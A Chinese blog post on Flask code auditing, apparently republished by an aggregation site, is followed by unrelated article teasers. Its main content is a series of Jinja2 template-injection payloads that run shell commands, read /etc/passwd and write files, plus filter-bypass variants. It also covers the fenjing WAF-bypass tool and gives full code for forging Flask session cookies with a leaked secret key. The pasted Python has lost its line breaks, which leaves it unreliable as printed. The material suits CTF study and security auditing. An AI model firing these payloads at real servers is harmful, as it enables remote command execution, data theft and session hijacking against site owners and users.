代码审计-Python Flask

1.Jinjia2模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。在jinja2中,存在三种语法

表达式 {{ ... }}  
用于装载字符串、变量、函数调用等
语句 {% ... %}  
用于装载控制语句,比如if判断、for循环等
注释 {# ... #}  
用于装载一个注释,模板渲染的时候会被忽略掉

模版注入本质上是通过数组字符串类获取到Object类,然后再从Object身上获取Object的其他子类,其中有的子类可以执行命令

2.获取基类:

一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3.获取子类列表:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4.寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

5.注入样例
[WesternCTF2018]shrine(Jinja2模板注入)
https://www.cnblogs.com/dghh/p/18311335

6.焚靖工具

pip install fenjing
python -m fenjing webui

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。
其支持自动扫描目标网站中的form元素进行攻击,也支持手动指定payload提交方式让其自动分析并产生payload。
它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。
输入命令行后直接到网页界面操作
在这里插入图片描述
7.cookie伪造
flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得,有key以后就是可以通过flask-session-cookie-manager-master来伪造session:

import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

伪造举例:
https://blog.csdn.net/a3320315/article/details/104272833

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/453370.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL-30.索引-介绍

一.索引 为什么需要索引&#xff1f;当我们没有建立索引时&#xff0c;要在一张数据量极其庞大的表中查询表里的某一个值&#xff0c;会非常的消耗时间。以一个6000000数据量的表为例&#xff0c;查询一条记录的时间耗时约为13s&#xff0c;这是因为要查询符合某个值的数据&am…

RabbitMQ系列学习笔记(八)--发布订阅模式

文章目录 一、发布订阅模式原理二、发布订阅模式实战1、消费者代码2、生产者代码3、查看运行结果 本文参考&#xff1a; 尚硅谷RabbitMQ教程丨快速掌握MQ消息中间件rabbitmq RabbitMQ 详解 Centos7环境安装Erlang、RabbitMQ详细过程(配图) 一、发布订阅模式原理 在开发过程中&…

SpringBoot+MyBatis+MySQL项目基础搭建

一、新建项目 1.1 新建springboot项目 新建项目 选择SpringBoot&#xff0c;填写基本信息&#xff0c;主要是JDK版本和项目构建方式&#xff0c;此处以JDK17和Maven举例。 1.2 引入依赖 选择SpringBoot版本&#xff0c;勾选Lombok&#xff0c;Spring Web&#xff0c;MyBa…

UI自动化测试 —— web端元素获取元素等待实践!

前言 Web UI自动化测试是一种软件测试方法&#xff0c;通过模拟用户行为&#xff0c;自动执行Web界面的各种操作&#xff0c;并验证操作结果是否符合预期&#xff0c;从而提高测试效率和准确性。 目的&#xff1a; 确保Web应用程序的界面在不同环境(如不同浏览器、操作系统)下…

设计模式和软件框架的关系

设计模式和软件框架在软件开发中都有助于解决复杂问题和提高代码质量&#xff0c;但它们在概念和使用上存在一些区别。它们的关系可以通过以下几点理解&#xff1a; 层次与抽象程度 设计模式&#xff08;Design Patterns&#xff09;是一组通用的、可复用的解决方案&#xff0c…

完爆YOLOv10!Transformer+目标检测新算法性能无敌,狠狠拿捏CV顶会!

百度最近又搞了波大的&#xff0c;推出了一种全新的实时端到端目标检测算法RT-DETRv3&#xff0c;性能&耗时完爆YOLOv10。 RT-DETRv3基于Transformer设计&#xff0c;属于代表模型DETR的魔改进化版。这类目标检测模型都有着强大的扩展性与通用性&#xff0c;因为Transform…

MySQL—CRUD—进阶—(二) (ಥ_ಥ)

文本目录&#xff1a; ❄️一、新增&#xff1a; ❄️二、查询&#xff1a; 1、聚合查询&#xff1a; 1&#xff09;、聚合函数&#xff1a; 2&#xff09;、GROUP BY子句&#xff1a; 3&#xff09;、HAVING 子句&#xff1a; 2、联合查询&#xff1a; 1&#xff09;、内连接…

基于FPGA的以太网设计(五)

之前简单介绍并实现了ARP协议&#xff0c;今天简单介绍一下IP协议和ICMP协议。 1.IP协议 IP协议即Internet Protocol&#xff0c;是网络层的协议。 IP协议是TCP/IP协议族的核心协议&#xff0c;其主要包含两个方面&#xff1a; IP头部信息。IP头部信息出现在每个IP数据报中…

第13篇:无线与移动网络安全

目录 引言 13.1 无线网络的安全威胁 13.2 无线局域网的安全协议 13.3 移动通信中的安全机制 13.4 蓝牙和其他无线技术的安全问题 13.5 无线网络安全的最佳实践 13.6 总结 第13篇&#xff1a;无线与移动网络安全 引言 无线和移动网络的发展为我们的生活带来了极大的便利…

边缘计算与联邦学习:探索隐私保护和高效数据处理的结合

个人主页&#xff1a;chian-ocean 文章专栏 边缘计算与联邦学习&#xff1a;探索隐私保护和高效数据处理的结合 1. 引言 随着物联网(IoT)设备的普及&#xff0c;网络边缘产生了大量数据。将这些数据上传至云端进行集中式计算和处理&#xff0c;既有隐私泄露的风险&#xff…

15分钟学Go 实战项目一:命令行工具

实战项目一&#xff1a;命令行工具 1. 引言 命令行工具是开发者常用的工具之一&#xff0c;它可以帮助用户通过命令行界面对程序进行控制和交互。在这节中&#xff0c;我们将创建一个简单的命令行工具&#xff0c;以帮助你理解Go语言的基本语法和如何处理命令行输入。在这个过…

详解安卓和IOS的唤起APP的机制,包括第三方平台的唤起方法比如微信

网页唤起APP是一种常见的跨平台交互方式&#xff0c;它允许用户从网页直接跳转到移动应用程序。 这种技术广泛应用于各种场景&#xff0c;比如让用户在浏览器中点击链接后直接打开某个应用&#xff0c;或者从网页引导用户下载安装应用。实现这一功能主要依赖于URL Scheme、Univ…

ESP32-S3学习笔记:分区表(Partition Table)的二进制分析

一、参考资料 用于研究的官方示例代码&#xff1a;esp-idf-v5.3\examples\storage\partition_api\partition_find参考的官方文档&#xff1a;ESP-IDF编程指南&#xff1a;分区表 二、准备工作 用VS Code打开示例代码&#xff0c;打开示例代码的CSV自定义分区表&#xff0c;如…

大数据实验3: HDFS基础编程

实验3&#xff1a; HDFS基础编程 一、实验目的 HDFS的shell命令使用HDFS的JAVA API使用&#xff1b; 二、实验平台 操作系统&#xff1a;Linux&#xff08;Ubuntu16.04&#xff09;&#xff1b;Hadoop版本&#xff1a;3.3.1&#xff1b;JDK版本&#xff1a;1.8&#xff1b;…

498.对角线遍历

目录 题目解法代码说明&#xff1a;输出&#xff1a; 如何确定起始点&#xff1f;解释一下max(0,d−m1)是什么意思&#xff1f; 如何遍历对角线&#xff1f;.push_back是怎么用的&#xff1f; 题目 给你一个大小为 m x n 的矩阵 mat &#xff0c;请以对角线遍历的顺序&#xf…

Java知识巩固(七)

目录 面向对象 面向对象三大特征 封装 继承 多态 多态 深拷贝和浅拷贝区别了解吗?什么是引用拷贝? 浅拷贝 深拷贝 面向对象 万物皆为对象&#xff0c;也就是描述某个事物解决问题的过程中所发生的事情。 面向对象三大特征 封装 封装是指把一个对象的状态信息&…

目前最新 Reflector V11.1.0.2067版本 .NET 反编译软件

目前最新 Reflector V11.1.0.2067版本 .NET 反编译软件 一、简介二、.NET Reflector的主要功能包括&#xff1a;1. **反编译**: 反编译是将已编译的.NET程序集&#xff08;如.dll或.exe文件&#xff09;转换回可读的源代码。这使得开发者可以查看和学习第三方库的实现细节&…

C++ string(2)

文章目录 1.初识迭代器和范围for1.1迭代器1.2范围for1.3 aout关键字 2.字符串长度相关计算1.size 和 length2. capacity 和 reserve 3.例题演示1. [917. 仅仅反转字母 - 力扣&#xff08;LeetCode&#xff09;](https://leetcode.cn/problems/reverse-only-letters/description…

spring day 1021

ok了家人们&#xff0c;这周学习spring框架&#xff0c;我们一起去看看吧 Spring 一.Spring概述 1.1 Spring介绍 官网&#xff1a; https://spring.io/ 广义的 Spring &#xff1a; Spring 技术栈 &#xff08;全家桶&#xff09; 广义上的 Spring 泛指以 Spring Framework…

Spring AI 整体介绍_关键组件快速入门_prompt_embedding等

Spring AI&#xff1a;Java开发者的AI集成新利器 在过去&#xff0c;Java开发者在构建AI应用时面临着缺乏统一框架的问题&#xff0c;导致不同AI服务的集成过程复杂且耗时。Spring AI应运而生&#xff0c;旨在为基于Java的应用程序提供一个标准化、高效且易于使用的AI开发平台…